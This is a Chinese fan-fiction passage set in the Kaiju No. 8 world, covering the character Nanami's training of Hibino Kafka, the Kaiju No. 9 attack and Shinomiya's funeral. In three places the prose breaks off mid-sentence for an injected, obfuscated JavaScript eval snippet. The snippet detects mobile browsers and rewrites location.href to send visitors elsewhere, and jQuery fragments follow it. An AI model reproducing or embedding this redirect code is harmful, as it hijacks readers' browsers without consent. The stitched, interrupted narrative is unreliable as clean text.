“早点收工!”鸣海一拍她的手掌,迅速消失在办公室,只留下那条掉在地上的毛巾。 七海翻了个白眼,捡起毛巾甩了两下,紧抓着两端拉直,她看起来像是要拿真正的凶器勒死谁。而逃跑的人却是笑出了声,他快步在走廊上奔跑,脑海里是刚刚自己抢走的最后一块曲奇。 直到封闭训练了将近两周之后,新加入第一部队的日比野卡夫卡才被带到了第一部队其他人面前,这时候四之宫琪可露已经在东云小队进行了几次模拟演习,也与同期加入的小此木广之和伊东打过了照面,还一起值过班。 尽管与同事相处愉快并不是在工作场所必须要达到的条件,但是七海看着走在自己身后的前辈那副苦大仇深的样子,她在训练室门前停住了脚步。 “如果这样能让你心里好受点,”七海指着里面,“那里面除了东云小队长,没人愿意和我在食堂一起吃饭。” 日比野慌张摇了摇头,连忙解释:“我就是……觉得自己可能做不到……” “前辈,”七海打断了他的话,“我不是很清楚第三部队的队员们是靠什么交际的,我们这里是很不讲道理的地方,谁的拳头更硬谁更强谁就有道理。” 她回头看了他一眼继续说:“而很显然,前辈你强得可怕。” 话音刚落,大门被里面的人打开,站在队伍最前列的鸣海双手环抱,他清了清嗓子说:“你们是从北极来的吗,迟到了。” “时间应该刚刚好才是,去吧,前辈。”七海推着日比野向前。 这边在介绍着新队员的时候,那头的小此木广之低声笑了笑,然后嘀咕着:“什么时候第一部队成了关系户集中地了……”他似乎很清楚这点声响只会被在场的某一个人听见,因此他毫不掩饰,甚至在七海看过来的同时微微朝着她点头。 懒得加入交际场合的鸣海队长自然是准备提前离开的,他看了一眼依然留在公共训练室的七海,问道:“怎么,你今天的训练计划是要让全员陪练?” “陪练多难听啊,”七海哼了一声,“你不想看看新人到了什么程度吗?” “你自己呢,不算新人?”鸣海又看了她一眼。 “最近的我暂时是内勤,”七海竟然微笑了一下,“我才不要上场。” “你压根没把我当队长吧……”鸣海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061226|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难得见到这家伙的笑容,没忍住上手按了按她的嘴角,“你还是别笑了。” 说罢鸣海又装作要回办公室打游戏,抛下了等他训话的队员们,早已习惯了这场景的小队长各自招呼着队员列队开始基础训练,而七海则是蹭了蹭脸颊,心想着第一部队能让这种人当队长,怎么可能是讲道理的地方。 一小时后,基础热身训练结束,用以对战的训练室被单独打开,七海站在监控室内,东云会主持接下来的车轮战,其实她心里有些不安,先前的监禁让日比野的状态变得很不稳定,这一周她光是让前辈学会使用基因融合之后的力量就已经很困难了,他与自己的情况不太一样,需要发挥八号的力量就需要将身体借出去,这件事的风险太不可控了。 伊东被安排在了第一位,他的身体素质是目前为止第一部队中最强悍的,即便是在没有战斗服加成的情况下都足以抵挡强大的冲击,七海透过通讯器提醒日比野注意他的左拳,但这一句话都没能说完,好不容易在对手面前站定的日比野卡夫卡就被一拳打懵了,直挺挺倒在了垫子上。 “前辈,你对着模拟器能变身对着他怎么不能了!”七海继续在通讯器里喊着,日比野艰难地爬起来,还没准备好伊东又是一击,力量和速度兼备的格斗好手让没有经受过专门的技巧训练的日比野卡夫卡措手不及。 “让八号出来,”七海深吸一口气,“你必须让它出来才能让它消失,藏起来没有意义,前辈!” 东云抬起头看向了上方,她眼神里的意思很显而易见,日比野还远远不够格,就算是作为一名普通的防卫队员都还不够格,而这里却是第一部队。 眨眼的功夫,琪可露出现在了二人之间,她抬起手肘挡住他的直拳,面向伊东说:“到这里就可以了吧。” “东云小队长,可以换我了吗?”她又回头问道。 旁人的视线总是令人难忍,七海说着无所谓却仍有些在意,何况小此木广之还说出了那样的话,医疗室的同事看着又来报道的日比野问道:“怎么每天训练受伤的都是你啊。” “是啊,哈哈哈,每次都是我。”日比野尴尬地笑了笑,不敢看旁边七海的脸色,她和四之宫长官都那样约定好了,自己现在这副模样不仅对不起长官,也是对不起她。 他其实从来没想过,七海可以在会议上为了他与八号的事情出言反驳长官们,更是没有想过全家人都因为怪兽而离世的七海会坚定地相信他是人类。生活在怪兽时代的人们几乎人人都有着不可提及的过去与恨意,可七海阳菜的痛苦被她看得太轻飘飘了,日比野有时甚至觉得自己都承受不了作为旁观者的痛。 “前辈,”七海突然叫他,“明天还回个人训练室。” “好的。”日比野低下头。 “我来和你练习,”七海说道,“等你做到打倒我却不会打死我的时候,我们就结束训练。” “你在开玩笑吧。”日比野惊讶。 鸣海确实不是什么好队长,但是折磨人的手段还是值得借鉴。 21.内勤暴言(20) 内勤暴言(暂时回归)@wffh 全世界起身!返工! 我是谁我在哪儿我什么时候下过班? 07:42 dd/mm/yy twitter for web 作为第一部队远近驰名的体能废物,七海阳菜是不能在前线落单的,这个事实不仅是东云小队的人,其他小队也都心知肚明。因此当她摆出一副不把日比野卡夫卡整死就不会放弃的态度说出那段话的时候,她丝毫不意外最后被扛着出来的人反而是自己。 这的确不是什么新鲜事,只要轮到七海出勤,她大概率都会被队友扛回来,大多时候是东云小队长,有时是小此木广之,大家看似都习惯了她那副弱不禁风的模样。在战斗服的加持下,七海保持战力全解放的时间几乎是普通队员的一半,尽管她擅用三号的恢复能力,但也是将将赶上平均水平而已。 大约是因为二人是同期又是同小队,小此木广之经常扮演那个看不惯关系户的角色,可正因为他们经常同时排班,他才会发现自己的“看不惯”毫无意义,不仅是七海本人对此毫不在意,更是七海总能和复试时一样,以最快的速度给每一次作战找出最优解。 他一直以为那是来自怪兽三号基因的影响,后来才从妹妹那里得知,这位只有高中学历的同期几乎掌握了各部队技术方面的所有核心知识,她不是因为改造而聪明,是因为聪明而被改造的。 难怪七海会说那句“我没得选”,他以前还觉得那是这人在卖弄与长官的关系。 然而弱不禁风小阳菜这个称呼对刚加入不久的日比野仍是个新闻,毕竟在他的想象中,战力解放接近百分之九十的七海和面前这个躺倒在垫子上喊着休息十分钟再来的人太不搭调了。 更别提前段时间一直站在监控室里通过通讯器给自己下指令的指导者,工作场合中的七海呈现出来的永远是“一切尽在掌握”的姿态。 休息时间里,七海嚼着能量棒,含糊不清地说:“我没有为人类牺牲的觉悟,我之所以在这儿只是因为我不想死得太容易。” 她把嘴里的东西咽下,看向日比野:“所以前辈,你也不要把这件事看得多么可怕,我只想你跟我都有活下去的机会。” “这听起来已经很吓人了吧!”日比野两手抱着头。 “我告诉你还有更吓人的,如果我们没有达到四之宫长官的要求,他就会把你交上去,把我拎出来,他自己也要承担在内阁面前保你的后果,”七海清了清嗓子,“到时候,长官的位置没了,我的工作没了,你的命也没了。” 日比野缓缓抬起头。 “那么,前辈,你想搞黄我的编制吗?”七海微微一笑,日比野脊背一阵发凉。 当然了,转进第一部队后日比野最好奇的事还是连长谷川副队长都盖章的那段不一般的关系,他对天发誓他绝对不不是想八卦自己的老朋友和上司,他只是一眼就认出了鸣海弦是那天深夜里在停车场门口将七海接走的男人,所以就算没人盖章,他也觉得这里面一定有点什么。 毕竟日比野真的只是把累到睡着不能动弹的七海扛出了训练室而已,他万万没想到自己会在推开她办公室门的时候看到坐在办公椅上跷着脚打游戏的鸣海,更是没想到队长大人竟然露出了作战时才有的杀意。 于是他只能迅速拉过一把椅子把七海放下,然后飞也似的消失在了对方的视野中。 自那之后鸣海便常常打着监督练习的幌子去他们的训练室,七海对此很不满,觉得自己的节奏被打乱了,最后直接给鸣海设置了禁止入内的门禁,权限被改动的下场是鸣海连监控室都进不去,而技术组又没有一个人敢挑战七海的代码。 “真的可以这么对队长吗?”他问道。 “没关系,因为我是他的大债主。”七海看着紧闭的大门,心满意足点点头。 三个月的考察期进行到差不多三分之一的时候,讨伐厅取消了对日比野卡夫卡的行动限制,最先收到通知的是他原先的部队,由第三部队队长亚白米娜亲自签署了相关文件,保科副队长代为提交。七海作为日比野目前的监管人员当然第一时间去到了总部交接工作,顺便向长官报告近期的进展。至于另一位监管人员,暂时四之宫功对他的指导能力还没有任何期待。 许久未曾联系的保科与七海二人总算是打了照面,七海在电梯口看到了和她挥手打招呼的眯眯眼副队长,她其实更想扭头走人,但对方已经主动开口邀请聊两句,碍于职级之差,最后她还是妥协了。 看着保科发来的定位地址,七海回到车上把部队制服外套换下匆忙赶到约定的场所,这里是和总部只有一街之隔的龙宁神社,她自然清楚这是哪里,从江户时代起,为了讨伐怪兽而牺牲的那些人大多都会被供奉在这座神社里,包括去世的七海夫妇,是后来被出云科技从京都移到这里来的,为了纪念他们在讨伐事业中贡献的技术力量。 明明是这么一个严肃的谈话场合,七海却发现自己满脑子都是“这混蛋眯眯眼居然敢告我的状”。 傍晚时分神社里空荡荡的,门前偶有行人路过,保科站在树下,看向那里面一言不发。 “其实我一早就知道你和卡夫卡是老熟人,所以才会单独找你帮忙。”听到了身后有脚步声,他一边回过头一边说道。 此话一出七海立刻明白,并非他要说的内容很严肃,而是他要说的内容不能被别人听见,难怪会选这里。 “那又怎么样,你告状还有预谋咯,我们两个人编制都不在一起,你这什么仇什么怨。”七海依旧是那个管不住嘴的七海。 保科脸上的笑意越来越明显:“我只是觉得这层关系能保护到那家伙而已,别人做不到呀。” “所以你根本一开始就是相信他的吧。”七海的京都腔比平时还要不收敛,两个说着相同方言的人就像是老家的朋友一般。 “那得看你怎么想了,”保科轻轻一耸肩,“我没这么说。” “不是鸣海讨厌你,我现在也有点讨厌你了。”七海挠了挠后脑勺,短发被抓得乱糟糟的。 “这可真是我的荣幸。”保科笑了笑。 “你到底是怎么知道我认识前辈的,”七海向前走了几步,夕阳的余晖照下来,把她的影子拉得瘦瘦长长,“我和你也没有很熟啊。” “他自己说的,”保科言简意赅扔出了答案,“听说我是京都讨伐中学出身的时候,卡夫卡就提到他有一个好朋友是那个学校的,今年也被防卫队录取了。” “前辈……”七海无言以对,这次是真的想直接离开 “喂,别这么扫兴嘛,我还想看看你对他的特训成果呢。”保科叫住她。 “要换你来指导一下吗,保科副队长。”话题转到这里七海又要来气了,这可是一张军令状,他怎么能说得这么轻飘飘。 “那我比不上您专业人士,三个月时间,加油哦,”保科两手握拳装作为她打气的样子,接着话锋一转,“我听说小此木跟你请教了十号的武器设计。” 啊,在这里等着呢,七海摇摇头说道:“是啊,谁让某人想保留十号的意识,如此大逆不道,我倒要看看怎么过会。” “哎呀,听着可不太友好啊,我的老同学。”保科同她对视了一眼。 七海移开目光,她才不会说自己为了小此木妹妹的一句求救,白天训完日比野,晚上就在实验室加班,还要藏好第三部队发来的资料,瞒着身边那位总是不定时闪现的家伙,这些日子她都快不认识回宿舍的路了。 “我其实对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15089566|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个想法很感兴趣,”七海收起开玩笑的语气,“最后如果如果真的能通过会议的话,试验当天请邀请我。” “这是自然的,怎么能不邀请您呢,有大名鼎鼎的技术骨干七海阳菜女士坐镇,我就不用担心任何意外了。”保科宗四郎总有把正常的话说出令人不爽的味道的能力。 “谢谢抬举。”七海冷哼一声,“咱俩还是少见面吧。” “我明白,我明白的。”保科轻笑出声。 你明白了个小怪兽啊你明白,七海庆幸自己已经转过身来,所以昂起头对着天空狠狠翻了个白眼。 隔天的室外训练场上,七海依然站在一旁观察着前辈的情况,日比野在主动请教伊东格斗的技巧,另一边的琪可露在和小此木广之一起练习,她拿着笔记本,一时间觉得有些恍惚,是不是从来没有融入进去的人只有她自己而已。不过这些小情绪影响不了她,胃里空空荡荡,七海一接到解散的命令便迈开步子走向食堂。 “七海前辈,我能坐在这里吗?” 刚解决了一大盘煎饺,七海抬起头看到端着餐盘的琪可露,她指着自己旁边的空座问道。 来不及咽下嘴里的食物,她又留意到不远处其他同期的视线,但想着琪可露的身份,七海便点了点头,还客套地说着:“今天的猪肉煎饺很好吃。” 应该不会难吃吧,琪可露看着那堆得高高的空盘子,想必七海至少吃了有五十个。 “我猜你是好奇前辈的事情。”七海在她开口之前先说道。 “是的,我确实是想问……”琪可露低下头,“我想知道以后会怎么样?” “不好说啊,这不是几次出勤都没带他嘛,”七海喝了一大口果汁,“我觉得八号和前辈之间出了点问题,所以我不建议让他上前线,但估计现在也压不住了,长官要我做点成绩出来。” 这意外的坦诚让琪可露感到惊讶,她从未想过七海前辈是这样的性格,所以她也不再吞吞吐吐:“那您是把它们看作是两个单独的个体吗?” “老实说,我觉得他和八号的关系就是我和三号的关系,”七海回道,“我站在我的立场上最大限度利用三号,而不是把自己交出去,可前辈的情况很特殊,他需要先把自己交出去,然后才能获得八号的力量。” “那问题出在哪里了呢?”琪可露追问。 “很明显,我们都看到了前辈的自我意识很强烈,他交出去的只有身体而已。”七海轻叹一口气,“目前最大的问题就在于他好像不敢这么做了,不敢再把自己交出去。” 坐着的两个人都一起沉默了,过了好一会儿七海再次开口说道:“这一个月我都在尝试把八号叫醒,但总是在失败,我想接下来到了前线,还是得靠你们,为前辈争取一点时间。” “我会做到的,”琪可露承诺,“这件事我一定能做到。” 可惜七海只顾着对付又一份炒面,似乎根本没有在听她的承诺,盘子空了才转头说道:“啊对了,武器不顺手的话记得跟我……” 这句话没说完七海已经站起了身,对她而言足够刺耳的电流声提醒着她,怪兽警报即将拉响。 品川区出现巨型黑洞,东京都全体在岗队员一律要求出动,七海才将战斗服的拉链拉上就被鸣海拖上了第一辆装备车。 “今天你在我的小队,东云那里人够多了。”鸣海迅速拼装着武器。 “谁来监管日比野?”七海看了他一眼。 “第一部队又不是幼儿园,”鸣海装完最后一个部件将面罩扣好,“今天就奖励你特等席,观看我的演出。” 后一辆车里的长谷川跟东云面面相觑,再后一辆车的木梨双手掩面,而新进队员们则是神色尴尬——有没有人管管他们,通讯器还在公共频道。 22.内勤暴言(21) 内勤暴言(外勤版本)@wffh 我不能睡。 不可以。 03:12 dd/mm/yy twitter for web 至少在怪兽讨伐这件事情上,七海很难给出专业对口这种评价,只不过在车门打开看到从地面深坑里涌出的大量蚁型怪兽之后,她从鸣海那勾起的嘴角里立刻就读出了“这一回你总能派上用场”的意思,于是她决定忽略上司那无声的督促,更不会把那当成是一种期待。 看着鸣海以最快的速度冲到余兽聚集的地带,她不紧不慢从车上跳下,将面罩上的开关打开,基地内监控室很快接收到三号适配者战力部分解放的讯息。作为战略型选手,七海装配的两把改装式柯尔特M2000没有重型武器的冲击力,她无法像东云那样一发击退怪兽,不过她的体力也不适合做那些事。 轻巧地踩着旁边的厢式货车,她抬手射出蛛丝将自己吊到高处,涌出的蚁型怪兽开始呈扇形前进,很显然根据无人机回传的视频判断出的初定讨伐区域有误,三号的基因似乎在帮助它理解怪兽群的意图。 七海按下通讯器开口说道:“这里是七海,申请将我的通讯模式调到公共频道。” “调整完毕。”在监控室的技术组同事不忍心告诉她从出动起,她和鸣海队长的通讯器就没有关闭过双向,便默契地决定闭口不提,而是在看她的指示下把信息传递出去。 “它们的目的应该是在第一部队三个方队外形成包围圈,我建议全员后撤,往东京港方向,保证羽田机场方向的通行。” 说罢,一只落单的余兽向她扑来,七海立刻弯腰躲在货车后方,同时迅速用蛛网引导余兽远离她身后的那条人行道。如果她刚刚的感知没有错的话,她再次利用蛛丝吊起一块门板,在废墟形成的三角空间里,一位幼儿园老师怀抱着三个五岁左右的孩子,他们看起来吓坏了,完全喊不出声音。 见到了防卫队队员的战斗服,立刻反应过来得救了的老师慌忙抓住了七海的手,对方指着身后的路说道:“走到尽头右转,那里是讨伐专用医院,带着孩子用尽全力跑,我就在这里,不会让任何一个怪兽过去。” 抬头见到被蛛网挡在另一侧的蚁型怪兽动弹不得,老师背起年纪最小的孩子,接着一手牵着一个,咬紧牙关奔向前。 “呼——”七海长舒一口气,却在这时候听到了鸣海的声音。 “全员都有,按照刚刚的指示,我给每个小队十分钟,疏散群众并将所有怪兽集中引到讨伐区域,速度最慢的小队长负责下个月的聚餐费。” “收到!” “还有怪兽八号,给我看看你能做什么。” 非要加这最后一句,七海一边跑着一边对着空气翻白眼,但她实际上是最紧张的那一个,她非常清楚现在总部办公室里坐着的一群不知道那一年上过前线的老头们,或者还有压根没上过前线的,他们随意的一句话一个签名,就能给日比野判死刑。而过去的一个多月,自己似乎并没有能帮到前辈什么。 等等,现在哪有功夫担心这个! 熟练地拆装弹匣,七海对着暴露出的怪兽内核给上了最后一枪,站在高处的男人冷哼了一声,瞳孔里的图案变化着。 “来这么慢还来抢我的人头,这算我的。” 七海看了他一眼,扯了扯嘴角作为回应,她觉得鸣海好像有一见到自己就会智商减少百分之五十的奇怪症状,这件事令七海百思不得其解,不过她也不是很有兴趣帮他治病,立刻转身继续向东云小队奔去,现在这个状况下,她得离日比野卡夫卡近一点。 好在鸣海的幼稚也只有短暂几秒,他在其他方队给出报告前先一步完成了讨伐任务,他看向七海的背影,心里很清楚她要做什么,可却没有再赌气似的给她使绊子,反而看着她灵巧的动作笑了出来。 他认为自己教得很不错。 距离成为适配者已经有好几个月了,七海依然不能够完全习惯在三号基因强化下的感知力,超出普通人类几千几百倍的视力与听力,让她眼里的整个世界都按下了慢放键。如果不能强行集中注意力,她会被各种事物影响,比如说—— “所以你就在半路上捡了只猫?” 东云皱着眉头将武器向上提了提。 “被压在车轮下面了,我顺手就……”七海躲开东云的注视,“就捞上来了。” “真不愧是你啊,”东云看着暂时平息下来的讨伐区域,“余兽都被控制在东京港位置了,但是我总觉得有点不太对劲。” “主兽没有出现,”七海肩头的小猫乖巧得一动不动,“这不寻常,蚁型怪兽是具有集体意识的怪兽,它们之所以能迅速形成队形将我们围住就是因为进行了信息传递……” 主兽在哪里,这里全是无意识的余兽。她意识到自己的解释有些过于冗长了,七海慢慢放低了说话声音,而后竟发现自己的心跳再不受控制地变快,就像最开始进行基因融合的时候那样,有一种不属于自己的意识在与她的自我互相吞食。 下一秒,一阵凉意爬过她的脊背,寒毛直竖,非常不好的预感出现了,这是她在日比野第一次当着她的面变身为八号之后,第一次有这种感觉,身体里的意识在恐惧,而不是她在害怕。 “还没有结束!” “它们又活过来了,需要支援!” “检测到了新的怪兽信号,是大怪兽!” 通讯器内三宅和木梨的声音交替响起,然后是监控室的声音,总部的来栖接管了通讯频道:“九号现身,各部门注意,是怪兽九号!” 东云一手揽过在原地发着抖的七海,高高跃起后撤了好几米,但逐渐在破裂的余兽中成型的怪兽已经在逼近,措手不及的一瞬间,巨大的冲击力在二人一侧落下。 “东云小队长,让我去西边。”四之宫琪可露单手扛起巨型装备,站到了两位前辈身前,而后又低声说道:“卡夫卡变不了身。” 这个音量显然只有七海能够听见,在颤抖中抬起头,她也第一次感知那个将立川基地毁掉的怪兽九号的存在,尽管她在这个方向无法看到它,但是存在感过于强大,有什么讯息就像爬虫一般钻进了她的脑海中。 “七海回话!”通讯器内鸣海在叫着她的名字,“活着就回话!” 失去的意识猛然间回到了身体里,七海沙哑着嗓子回道:“还活着。” “那就别在现场当个废物。”鸣海毫不留情地说着。 七海对他的说法毫不在意,因为她只在意自己刚刚从那个素未谋面的怪兽九号那里接收到的讯号,她说话的声音变得更沙哑了:“鸣海,我们是它的猎物。” “屁话,怪兽本来就把人当猎物。”鸣海不耐烦地回答着,“你今天怎么回事,被吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15124665|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成笨蛋了吗?” “你现在是不是准备去西边?”七海问道。 “对啊,你的废物前辈再拖全部队后腿。”鸣海更不耐烦了,“你到底怎么了!” “你真的不觉得那个东西在看着你吗?”七海强调道,“它在看着我们。” “它当然在看我,因为这里也有一只。”鸣海没有和往常一样按掉通讯,而是一直保持着通话,好像只要依然能听见她的呼吸声就足够让他安心了。 竟然有两只九号! 这个消息让整个讨伐区域的队员们大吃一惊,众人拼死抵抗着重新复活的余兽,七海攥着拳头站在中间,刚刚的讯息只来自于一个,就是说其中一个应该是另一个的增殖体,但是信息是在它们出现之前感知到的,那有没有可能…… “它们都不是本体。”七海终于反应过来说道,“鸣海,它们都不是……” “检测到怪兽八号!” 同一时间来栖向所有人通报了这个好消息,他的声音将七海对鸣海的提醒盖了过去,没有能听到她说的什么。 “……它们不是本体,九号和我们一样都希望融合到大怪兽的力量,所以在场的你、我、前辈都无比危险,还有一个人也……” “这里交给你……” 而九号的回击又将鸣海的面罩打歪,通讯器里变成了一团忙音,过了几秒之后才听到了她唤他的名字。 “……鸣海。” 接下来这条属于两个人的通讯频道内,只有七海奔跑着的喘气声与鸣海逐渐不再平稳的呼吸,她一边告诉自己可以相信没有什么能够伤害到他,一边逆着队友们前进的方向跑回后方。 小此木广之伸手拉住了她:“你要做逃兵?”此话一出,他看到她的神情就明白自己说错了,他立刻改口问道:“你要需要什么?” “装备车钥匙。”七海伸手,肩上的猫也听话地跳下来。 将钥匙扔过去,小此木看着跳上车驾驶座的她,犹豫了半秒钟也拉开了副驾驶车门,此时车已经发动,他几乎是将自己摔甩进了车里。 “我不听话就算了,你怎么也疯了?”七海瞪大了眼,倒车调转方向,油门踩到底。 “你觉得没人掩护,你冲得出去吗?”小此木广之说着架起枪对着车外就是一发扫射,无数的余兽似乎是嗅到了七海的气息,一只接着一只地跟上来。 然而,尽管七海抄了几条近道,完全忽略了前线传回的讨伐成功的报告,她依然没有任何减速的迹象,甚至差点用装备车撞开地下车库的玻璃门,副驾驶上的小此木广之越发明白能和鸣海弦那样的人相处下来的,多半也是一个彻头彻尾的疯子。 当她冲进总部监控室的那一秒,恐惧感到达了峰值,七海在众目睽睽之下用巨大的蛛网将四之宫功包裹住狠狠朝自己的方向拉了过来,下一秒又是层层叠叠的蛛网,每一个长官都被隔在了之后。 只听得一声巨响,坚韧无比的蛛网被打穿成碎片,监控室里所有的警报都在亮着灯,人型怪兽拨开蛛丝走到人前来。 “怪兽二号,最强怪兽之力,我终于找到了,还有我的老朋友……” 四之宫功直起身,看到九号的视线准确无误落在了七海的身上,他确认这不是自己的错觉,也就是它说的“老朋友”,正是她基因里的三号。 而这一刻,它眼中的猎物,则是自己。 23.内勤暴言(22) 内勤暴言(暂时停更)@wffh 很快再见。 04:23 dd/mm/yy twitter for web 四之宫功时不时会觉得无措,经常在脑海里和已经不在的妻子对话,他以为这是他唯一能够理清思绪的途径,他也以为她会在任何时候点亮他昏暗的四周为他引路。 但是更多的时候他只将自己看作是一个失败的人,就像这十多年来他实际上都是在苟活。年幼而瘦小的女儿总是令他恐慌,她宛如是脆弱的人类中最不堪一击的环节,似乎只要将她捏碎就可以轻而易举击溃他。 事实是否是如此,四之宫也许再也得不到印证了,讽刺的是他甚至能清楚听见身后七海的吼叫声,她从来栖手中抢过了调试器,对着自己喊着:“我说过了,二号会吞噬你,你的身体会不再属于你!我警告过你们!” 她的语气和当初劝鸣海时一模一样,年轻一代里,就数这两个最没规矩。如果妻子还在世,他想他们会成为不错的朋友,她喜欢叛逆又聪明的孩子。 来不及了,他其实还想和女儿道个歉,尽管自己早就该这么做了。就在一瞬间,无止尽的黑暗吞食了所有的光亮,四之宫连妻子的存在都感觉不到了。 “各位观众早上好,现在是来自讨伐厅的正式发表,原综合讨伐幕僚长、防卫队最高长官,四之宫功先生,于本次怪兽灾害中牺牲……” 长官的讣告在滚动播报着,距离在临海基地举办的告别仪式开始还有不到两个小时,清晨的基地食堂被通宵完成扫尾工作的队员们坐满。 或许是疲惫,又或许是重大的情感冲击,所有人都讲不出话,往日里的嘈杂消失得一干二净,除了餐具与餐盘的轻微碰撞声,似乎连沉重的喘气都会引发悲痛的连锁反应。 七海阳菜是最后几个走进门的,她和来栖还有总部技术组的成员在一起,角落的一张空桌上只有鸣海一个人坐在那里,经过时七海瞥了一眼男人肿起的侧脸,而后一言不发地走向了另一边。 当日一战将总部办公楼毁得七零八落,好在前期大多的研究成果都保存在了第一部队,怪兽三号的蛛网更是将数据储存的主机牢牢护住,七海成了技术中心的救世主。 然而中途撤退的举动并不能被认可,她与小此木广之收到了讨伐厅的报告通知,他们必须要对违反部队命令擅自逃离讨伐区域并毁坏了一辆装备车的事情作出合理的解释。 如果七海这时候说自己对写报告这种事驾轻就熟的话,让她觉得自己有点可悲,但所有事里最让她生气的应该是鸣海。他竟会做出这种假设,认为那时与她一同撤回的人是他的话,四之宫长官会被救下,总部不会被毁。 先不说这个假设是否有可能实现,因为她已经说了,那不是九号的本体,既然鸣海没有在那个时刻就给出回应,那么只有两种可能性,一是通讯器损坏让讯息未能传输到位,二是鸣海百分百相信她的能力,无论是哪一个都不会让七海感到后悔。 可很显然鸣海事后的一句“你为什么不来找我”对七海来说和单纯的耳光没有区别,她相信他,认为他应该留下应对当场的“怪兽九号”,认为他能保护好所有人,认为他可以安全回到她身边,这些信任在他的一句话下变得一文不值。 所以过度的疲劳与饥饿扰乱了她的大脑,抬手扇上他的脸颊时,七海觉得自己的意识其实离开了身体,她控制不了自己了。但可笑的是,在她这么做之前,他们只是在很寻常地对话着。 九号说出的“老朋友”并非只是一句无关紧要的招呼,七海阳菜在短暂的接触中看到了三号的记忆,一段被奴役的记忆,在误闯人类世界被讨伐之前,它最主要的能力便是感知与通讯,是九号与不同怪兽之间建立联系的工具,在无限增殖的强化中,三号几乎存在于世界的每个地方,直到被九号融合了能力,成为了唯一幸存的弃子。 “弱小的生物是生来注定被奴役的,这是怪兽这种生物的理念,”七海颤抖着双手撕不开能量棒的包装纸,“也是九号为我们人类规划的未来。” 过去七海仅仅是这么担忧过,可是眼睁睁看着四之宫长官在她的嘶吼声中与九号融合在一起,她感觉心里压下了最后一棵稻草,零星的胜算也消失了。 “你忘记了游戏规则,功叔一开始就告诉你了,强大是我们唯一的手牌。”鸣海拿过能量棒一把扯开递给她。 “问题就在于没有胜算,作为人类的我们没有任何胜算。”强行将能量棒咽下,干涩的喉咙里仿佛有血腥味。 “可我们并非彻底的人类不是吗?你自己说过的。”鸣海又说。 “你只是偷换概念。”七海看向他。 “我跟你偷换什么概念,你今天最大的错误是扔下我自己回总部,为什么不来找我,七海,你就应该来找我,我不可能让功叔……”鸣海的的这句话没能说完,脸上就传来了火辣辣的刺痛。 “你本不必要像这样提醒我,鸣海你知道吗,你本没有必要。” 她说完这句话,和小此木广之被讨伐厅监察机构的人暂时带离现场。 后来知道监察机构只是让他们写情况说明,七海当然是松了一口气,不过在进审讯室之前,她还是提前跟对方说:“虽然我是不会道歉的,但如果被问到,我希望你说是我威胁你的,这样我的良心比较过得去。” 似乎她的话在他的意料之中,小此木广之轻笑了一声:“我本来就没想过要你跟我道歉,我反而在思索我们俩其实能成为不错的战友。” “那还是算了,我们和以前一样只要做不太熟的同事就好了,我反正不会在审讯里说你什么的。”七海缓缓看向别处。 安静了半分钟,小此木开口问道:“七海,你的性格一直这么差吗?” 她点了点头,应道:“嗯,没错,鸣海教的。” 小此木广之一时间觉得自己又多嘴了。 鸣枪礼的三声空包弹,把七海的心脏震得隐隐作痛,她与队列首位的鸣海之间隔了四位小队长,可怕的听力让他的心跳声同时在耳边响起。 她不敢抬头看向四之宫长官的遗像,就像鸣海的话实际上让她羞愧无比,她的怒意源自愧疚,因为她再一次意识到自己对死亡束手无策,父母是这样,阳平是这样,长官也是这样。 于是之后不久七海向长谷川副队长申请了一日假期,这是她工作以来第一次因私请假,长谷川有些意外,但也认为她应该休息,因为从那日怪兽警报响起后到葬礼结束,七海几乎没有回过一次宿舍楼。 实验室的人不知道她什么时候上的班,训练室的大门似乎总是紧闭着,食堂的工作人员说她凌晨四点的时候把后厨冰箱里的四大盒白米饭全部吃完了。 为了保证部队不会再失去一员大将,长谷川二话没说便批了假期。 坐了最早一班电车,七海走出车站便看到不远处正在修建的总部大楼围栏外摆满了花束,那是纪念牺牲者们的。 只有一街之隔的龙宁神社在这次灾害中毫发无伤,她先去见过了父母,而后偷偷地将刻着阳平名字的金属牌藏在后面。如果有机会的话,她会希望有个人能帮忙把她的名字也一起放在这里。 在这个时代,为逝去的亲友找一块安葬的地方太过奢侈,对于那时的七海来说更是。动荡的日子让人们已经习惯了潦草的丧事,大多数人只会保留一个名字,骨灰都变成了带不走的东西,埋进了寺庙与神社的花圃中。 所以宿舍里那件洗到发白的外套和这块牌子,成了七海对哥哥仅存的怀念。 穿过灾后重建区域,七海在海边待到了很晚,看着太阳缓缓落下,看着远处东京塔亮起,又看着它的灯熄灭。敏锐的五感放大了一切感知,不过深夜降临 